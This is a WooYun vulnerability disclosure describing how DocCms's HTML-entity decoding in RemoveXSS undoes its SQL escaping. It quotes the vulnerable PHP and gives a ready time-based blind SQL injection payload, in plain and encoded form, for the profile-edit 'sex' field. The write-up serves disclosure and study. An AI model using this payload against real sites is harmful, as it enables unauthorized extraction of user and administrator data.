当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115644

漏洞标题: DocCms绕过防注进行SQL注入2枚打包,无视GPC

相关厂商:DocCms

漏洞作者: 路人甲

提交时间:2015-05-26 10:41

修复时间:2015-07-10 10:42

公开时间:2015-07-10 10:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

DocCms绕过防注进行SQL注入2枚打包,无视GPC

详细说明:

用户量依然是这么大~~
首先大致说下这个SQL是如何产生的,看到 WooYun: DocCms最新版sql注入漏洞 ,它利用url编码绕过过滤进行了注入,就有了点点想法,会不会还有其他编码绕过过滤的问题?
先把注入点和注入参数拿出来吧,便于审核大大们查看是否有重复:注入点是前台用户注册的地方(会员中心----基本资料----编辑,doccms的各个模块后台都是可以打开或关闭的,本地测试时,如果没有打开,请后台自行打开),注入参数为:nickname、sex
下面来研究一下如何绕过防注系统:
Doccms中首先对输入进行了全局过滤,但是后面为了过滤XSS,又对经过全局过滤的用户输入进行了html解码,因此,可以通过编码绕过过滤进行注入。
Doccms在/loader/doc.php对输入的内容进行了全局的过滤,如下

$_REQUEST = cleanArrayForMysql($_REQUEST);
$_GET = cleanArrayForMysql($_GET);
$_POST = cleanArrayForMysql($_POST);
$request = $_REQUEST;


跟进cleanArrayForMysql看一下,/inc/function.php

function cleanArrayForMysql($data)
{
if(!get_magic_quotes_gpc())
return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);
else
return $data;
}


可以看到对用户的输入调用了mysql_real_escape_string()进行过滤,这个函数把sql的几个特殊字符过滤掉了,特别是’,但是这个函数并不过滤%,后面会用到这个特性。
在用户有输入的地方,doccms对用户的输入进行XSS过滤。比如本次注入的地方,在 会员中心,注册新会员时,会调用/content/user/index.php 文件中的reg函数

function edit()
{
checklogin();
global $db;
global $request;
global $tag;

if($_POST)
{
foreach ($request as $k=>$v)
{
$request[$k]=RemoveXSS($v);
}
//必填验证
require(ABSPATH.'/inc/class.validate.php');
if(!validate::is_email($request['email'])){
die('请确认邮箱填写正确!');
}
require(ABSPATH.'/inc/models/user.php');
$user = new c_user();
$user->id=$_SESSION[TB_PREFIX.'user_ID'];

$user->name=$request['name'];
$user->email=$request['email'];
$user->nickname=$request['nickname'];
$user->age=$request['age'];
$user->mtel=$request['etel'];
$user->sex=$request['sex'];
$user->qq=$request['qq'];
$user->msn=$request['msn'];
$user->email=$request['email'];
$user->address=$request['address'];
if($user->save())
{
redirect(sys_href($request['p'],'user','edit'));
}else{
exit('<script language="javascript">alert("修改失败!");history.back(1);</script>');
}
}else{
global $user;
$sql="SELECT * FROM ".TB_PREFIX."user WHERE id=".$_SESSION[TB_PREFIX.'user_ID'];
$user = $db->get_row($sql);
}
}


可以看到

foreach ($request as $k=>$v)
{
$request[$k]=RemoveXSS($v);
}


调用了RemoveXSS()函数,RemoveXSS()内容如下

function RemoveXSS($val) { 
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some // inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);

// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}


为了更好的过滤XSS,RemoveXSS把用户输入进行了html解码,因而整个流程是这样的:用户输入内容--->mysql_real_escape_string()---->RemoveXSS()---->mysql_query(),也就是说用户输入内容首先被mysql_real_escape_string()过滤掉sql特殊字符,然后RemoveXSS()进行html解码,最后执行sql语句。
因此问题就来了,先把SQL特殊字符进行html编码,绕过mysql_real_escape_string(),然后由RemoveXSS()解码还原,然后就可以执行了,注入也就产生了。
这样产生的注入虽然可以引入’,但是由于RemoveXSS()无法使用逗号,这也给注入带来了点点麻烦。不过不用逗号一样可以构造注入语句。
注入不能使用逗号,且注入是在insert处,因此使用case when then 进行注入,可以有效的避开逗号问题。
因是在insert的values中构造注入语句,又不能使用逗号,暂时没想到如何使用case when then +bool-based 来注入。本次注入使用case when then +time-based blind进行注入。
以“sex”为例进行验证:
Payload(html编码前):

username=test&nickname=&name=&sex=’ or (select case when (select username from (select * from doc_user) as a where id=1) like ‘a%’ then sleep(3) else sleep(0) end) or ‘&age=&etel=&email=test%40163.com&qq=&msn=&address=


编码以后的payload为:

username=test&nickname=&name=&sex=%26%23%78%32%37%3B or (select case when (select username from (select * from doc_user) as a where id=1) like %26%23%78%32%37%3Ba%%26%23%78%32%37%3B then sleep(3) else sleep(0) end) or %26%23%78%32%37%3B&age=&etel=&email=test%40163.com&qq=&msn=&address=


Time-based blind 注入

正确副本.jpg


根据提交成功返回的时间即可判断doc_user中第一个用户的用户名是不是以a开头的,若是返回时间约为5s。
可以使用burpsuite辅助测试或写个脚本进行时间盲注。最后测试的结果为管理员用户名为admin

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝